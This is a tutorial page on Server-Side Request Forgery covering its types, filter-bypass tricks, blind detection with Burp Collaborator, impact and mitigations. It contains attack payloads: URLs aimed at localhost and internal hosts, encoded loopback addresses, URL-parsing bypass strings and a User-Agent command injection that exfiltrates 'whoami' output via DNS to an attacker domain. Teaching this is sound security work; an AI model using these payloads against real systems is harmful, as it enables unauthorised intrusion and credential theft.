Server-Side Request Forgery

Server-Side Request Forgery (SSRF) occurs when an application fetches a resource from a user-controlled URL that could be modified, abusing the server’s network position and trust to make arbitrary outbound requests.

This could let us reach internal-only services, enumerate or interact with cloud/metadata services (AWS, GCP, Azure), CI/CD agents, or APIs, by using the server as a "pivot" to reach other nodes, or even send a request to itself to bypass security measures and firewall rules.

The core cause lies in treating a user-provided URL as trusted and letting the server make network calls on behalf of the user without strict validation and egress controls.

Common types of SSRF are:

  • Basic SSRF: The attacker supplies a URL, and the server directly requests it

  • Blind SSRF: The attacker cannot see the server’s response but can detect the effect, for example, via DNS callbacks, time delays, or side effects

  • Semi-Blind SSRF: The attacker receives limited information, such as status codes or error messages

  • SSRF via Redirects: The attacker abuses open redirects to bypass URL filters and trick the server into requesting malicious endpoints

  • DNS Rebinding / Host Override SSRF: Attackers resolve an allowed domain to a malicious IP after validation checks are performed

Scope

As its name indicates, it's a server-side vulnerability that arises because the server executes the malicious request, which leverages server-side request handling functionalities.

The common scenarios where this is found are in applications that allow users to provide a URL, API integrations where user-controlled input determines a destination endpoint, and server-side code that makes HTTP calls without strict validation.

SSRF becomes especially dangerous in environments with internal networks where an attacker could pivot to internal services not publicly exposed, cloud infrastructure, and weak firewall configurations that allow the server to reach sensitive internal services.

Exploitation Techniques

Server-side Request Forgery exploitation could lead to accessing sensitive and internal resources that are not supposed to be exposed to the user. We can find some ways to exploit this vulnerability as follows:

SSRF Against Server and Back-end Systems

When a website tries to communicate with other endpoints or fetch resources from other sites, and the input is not being verified properly, this could be abused to access internal resources of the application.

  • For example, a web application allows users to retrieve images by specifying a URL. If vulnerable, we could replace the reference to the image location with an internal URL

https://$url/fetch?url=http://$url/image.jpg # Original
https://$url/fetch?url=http://localhost/admin # Modified to reach local endpoint

  • This could also work to reach other hosts from the internal network using internal IP addresses and ports in

https://$url/fetch?url=http://$url/image.jpg # Original
https://$url/fetch?url=http://$internalIP:$port/admin # Modified with internal IP

If we don't know the exact host in the internal network, we scan it with the Burp Suite Intruder tool by changing the target IP. For Example, in 192.168.0.X we could iterate the X value until we get a valid host response

Bypassing Input Filters

In some cases, there are white-listed or black-listed values that will protect a modified URL from being considered valid. We can have different approaches to bypass these verifications.

  • When blocking IP inputs such as localhost or 127.0.0.1, we can register our own domain name that resolves to 127.0.0.1

    • BurpSuite offers the domain spoofed.burpcollaborator.net for this purpose

    • If we obtain a 421 or 500 error, it could mean it's working, but we need to use another payload

  • When blocking IP inputs such as localhost or 127.0.0.1, we can use a representation of the IP, such as:

    • Modifying letter case like LoCalHOst

    • An integer representation like 2130706433

    • An integer representation like 017700000001

    • A shorthand like 127.1

    • A hex representation like 0x7f000001

  • We can exploit inconsistencies in URL parsing by checking if arbitrary values are accepted, for example, supporting embedded credentials and fragments

http://$username@$expected-host       # Via embedded credentials
http://$evil-host#$expected-host      # Via indicating a fragment
http://$expected-host.$evil-host      # Abusing DNS hierarchy
http://$evil-host#@$expected-host     # Combining these techniques
http://$evil-host%25%32%33@$expected-host/$target #And combining URL encoding

  • We can also abuse Open Redirection to bypass some SSRF validations

# We found a route that is vulnerable to an open redirection in the URL
https://$url/$vuln$point?next=$redirection

# We could abuse this on an SSRF vulnerable point that validates the supplied URL is on the same domain
https://$url/fetch?url=/$vuln$point?next=$payload

We can find other useful resources to test the URL validation bypass cheat sheet provided by PortSwigger.

Blind SSRF

When the response of a back-end request to a supplied URL is not returned in the application's front-end response, we have to use other methods to detect possible SSRF vulnerable points. We can use out-of-band techniques to trigger an HTTP request to a domain that we control and monitor the interactions with that system.

  • For example, in a site that uses software that fetches the URL specified in the Referer header when a page is loaded, we can change the header and make the site fetch our domain

POST /product HTTP/1.1
Host: example.com
Referer: http://$ourDomain

  • We can use Burp Suite Collaborator as our controlled domain to check the interactions

    • Add the target to the scope

    • Go to the Extensions tab and add/enable the Collaborator Everywhere extension

    • Intercept and forward a petition with every check payload

    • In the Issues section of the Target tab, check if any header was detected to be vulnerable

  • This could let us probe for other vulnerabilities. For example, if we found that the User-Agent is vulnerable to an RCE, we could change the header and make the site fetch our domain

User-Agent: /usr/bin/nslookup $(whoami).<OurDomain> # RCE vulnerable header
Referer: http://192.168.0.1:8080  # We set the internal point to reach, and we could use the intruder tool to find a host and port that answers

After this, we can go to the Collaborator tab and hit and click Poll now. We should see a DNS interaction where the answer to the RCE should appear in the DNS subdomain

Impact

  • Data exposure, including sensitive files, credentials, tokens, or API keys

  • Internal network reconnaissance, including mapping internal services, ports, and endpoints

  • Cloud Takeover, including access to metadata services that may allow stealing credentials and escalating to full cloud account compromise

  • Pivoting for further exploitation, such as RCE, database compromise, or lateral movement

  • DoS attacks via flooding internal services with forged requests.

Mitigation Strategies

  • Avoid using user-supplied URLs directly in server-side HTTP requests whenever possible

  • Only allow URLs that match a strict allowlist (specific domains or IP ranges in a whitelist, or use strict regular expressions)

  • Don't concatenate parameters to the URL without proper encoding

  • Block internal network access from the server if not required

  • Disable unnecessary URL schemes such as file://, gopher://, php:// or ftp://

  • Use DNS pinning or validation to ensure domain resolution isn’t bypassed to internal IPs

  • Avoid redirects or direct API calls if unnecessary

  • Deploy firewall rules to limit which hosts and ports an application can reach externally

  • Log outgoing requests and detect anomalies (unexpected IP ranges, unusual protocols)

  • Use web application firewalls (WAFs) with SSRF detection rules

Checklist for Developers and Sysadmins

PreviousPath TraversalNextLocal File Inclusion (WIP)

Last updated